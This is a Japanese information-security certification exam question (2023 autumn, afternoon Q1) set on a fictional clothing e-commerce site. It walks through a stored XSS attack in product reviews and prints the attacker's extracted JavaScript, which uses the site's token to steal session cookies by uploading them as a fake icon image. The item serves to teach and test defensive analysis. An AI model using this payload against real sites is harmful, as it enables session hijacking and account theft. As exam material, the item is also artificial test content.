情報処理安全確保支援士試験 過去問 2023年(令和5年) 秋期 午後 問1

webアプリケーションプログラムの開発

Q社は、洋服のEC事業を手掛ける従業員100名の会社である。WebアプリQというWebアプリケーションプログラムでECサイトを運営している。ECサイトのドメイン名は"□□□.co.jp"であり、利用者はWebアプリQにHTTPSでアクセスする。WebアプリQの開発と運用は、Q社開発部が行っている。今回、WebアプリQに、ECサイトの会員による商品レビュー機能を追加した。図1は、WebアプリQの主な機能である。

  1. 会員登録機能
    ECサイトの会員登録を行う。
  2. ログイン機能
    会員IDとパスワードで会員を認証する。ログインした会員には、セッションIDをcookieとして払い出す。
  3. カートへの商品の追加及び削除機能
    (省略)
  4. 商品の購入機能
    ログイン済み会員だけが利用できる。
    (省略)
  5. 商品レビュー機能
    商品レビューを投稿したり閲覧したりするページを提供する。商品レビューの投稿は、ログイン済み会員だけが利用できる。会員がレビューページに入力できる項目のうち、レビュータイトルとレビュー詳細の欄は自由記述が可能であり、それぞれ50字と300字の入力文字数制限を設けている。
  6. 会員プロフィール機能
    アイコン画像をアップロードして設定するためのページ(以下、会員プロフィール設定ページという)や、クレジットカード情報を登録するページを提供する。どちらのページもログイン済み会員だけが利用できる。アイコン画像のアップロードは、XXをパラメータとして、
    "https://□□□.co.jp/user/upload"に対して行う。
    • 画像ファイル1)
    • "https://□□□.co.jp/user/profile"にアクセスして払い出されたトークン2)
    パラメータのトークンが、"https://□□□.co.jp/user/profile"にアクセスして払い出されたものと一致したときは、アップロードが成功する。アップロードしたアイコン画像は、会員プロフィール設定ページや、レビューページに表示される。
    (省略)

1) パラメータ名は、"uploadfile"である。
2) パラメータ名は、"token"である。

図1 WebアプリQの主な機能

ある日、会員から、無地Tシャツのレビューページ(以下、ページVという)に16件表示されるはずのレビューが2件しか表示されていないという問合せが寄せられた。

開発部のリーダーであるNさんがページVを閲覧してみると、画面遷移上おかしな点はなく、図2が表示された。

ページVの表示例

商品レビュー  無地Tシャツ

★ 4.9 16件のレビュー

👤

会員A
2023年4月10日
★★★★★ Good
Nice shirt!

👤

会員B
2023年4月1日
★★★★ 形も素材も良い
サイズ感がぴったりフィットして気に入っています(><)
手触りも良く、値段を考えると良い商品です。

以上、全16件のレビュー

注記 👤は、会員がアイコン画像をアップロードしていない場合に表示される画像である。
図2 ページV

WebアプリQのレビューページでは、次の項目がレビューの件数分表示されるはずである。

  • レビューを投稿した会員のアイコン画像
  • レビューを投稿した会員の表示名
  • レビューが投稿された日付
  • レビュー評価(1~5個の★)
  • 会員が入力したレビュータイトル
  • 会員が入力したレビュー詳細

不審に思ったNさんはページVのHTMLを確認した。図3は、ページVのHTMLである。

(省略)
<div class="review-number">16件のレビュー</div>
<div class="review">
<div class="icon"><img src="/users/dac6c8f12f867ed5/icon.png"></div>
<div class="displayname">会員A</div>
<div class="date">2023年4月10日</div><div class="star">★★★★★</div>
<div class="review-title">Good<script>xhr=new XMLHttpRequest();</script></div>
<div class="description">△</div>
</div>
<div class="review">
<div class="icon"><img src="/users/dac6c8f12f867ed5/icon.png"></div>
<div class="displayname">会員A</div>
<div class="date">2023年4月10日</div><div class="star">★★★★★</div>
<div class="review-title"></url="https://□□□.co.jp/user/profile";></div>
<div class="description">△</div>
</div>
(省略)
<div class="review">
<div class="icon"><img src="/users/dac6c8f12f867ed5/icon.png"></div>
<div class="displayname">会員A</div>
<div class="date">2023年4月10日</div><div class="star">★★★★★</div>
<div class="review-title"><xhr2.send(form);></script></div>
<div class="description">Nice shirt!</div>
</div>
<div class="review">
<div class="icon"><img src="/users/94774f68877b91/icon.png"></div>
<div class="displayname">会員B</div>
<div class="date">2023年4月1日</div><div class="star">★★★★</div>
<div class="review-title">形も素材も良い</div>
<div class="description">サイズ感がぴったりフィットして気に入っています(&gt;&lt;)<br>
手触りも良く、値段を考えると良い商品です。</div>
</div>
<div class="review-end">以上、全16件のレビュー</div>
(省略)
図3 ページVのHTML

図3のHTMLを確認したNさんは、会員Aによって15件のレビューが投稿されていること、及びページVには長いスクリプトが埋め込まれていることに気付いた。Nさんは、ページVにアクセスしたときに生じる影響を調査するために、アクセスしたときにWebブラウザで実行されるスクリプトを抽出した。図4は、Nさんが抽出したスクリプトである。

1:  xhr = new XMLHttpRequest();
2:  url1 = "https://□□□.co.jp/user/profile";
3:  xhr.open("get", url1);
4:  xhr.responseType = "document";  // レスポンスをテキストではなくDOMとして受信する。
5:  xhr.send();
6:  xhr.onload = function() {        // 以降は、1回目のXMLHttpRequest(XHR)のレスポンス
     の受信に成功してから実行される。
7:      page = xhr.response;
8:      token = page.getElementById("token").value;
9:      xhr2 = new XMLHttpRequest();
10:     url2 = "https://□□□.co.jp/user/upload";
11:     xhr2.open("post", url2);
12:     form = new FormData();
13:     cookie = document.cookie;
14:     fname = "a.png";
15:     ftype = "image/png";
16:     file = new File([cookie], fname, {type: ftype});
          // アップロードするファイルオブジェクト
          // 第1引数:ファイルコンテンツ
          // 第2引数:ファイル名
          // 第3引数:MIMEタイプなどのオプション
17:     form.append("uploadfile", file);
18:     form.append("token", token);
19:     xhr2.send(form);
20: }
注記 スクリプトの整形とコメントの追記は、Nさんが実施したものである。
図4 Nさんが抽出したスクリプト

Nさんは、会員Aの投稿はクロスサイトスクリプティング(XSS)脆弱性を悪用した攻撃を成立させるためのものであるという疑いをもった。NさんがWebアプリQを調べたところ、WebアプリQには、会員が入力したスクリプトが実行されてしまう脆弱性があることを確認した。加えて、WebアプリQがcookieにHttpOnly属性を付与していないこと及びアップロードされた画像ファイルの形式をチェックしていないことも確認した。

Q社は、必要な対策を施し、会員への必要な対応も行った。

出典:令和5年度 秋期 情報処理安全確保支援士試験 午後問題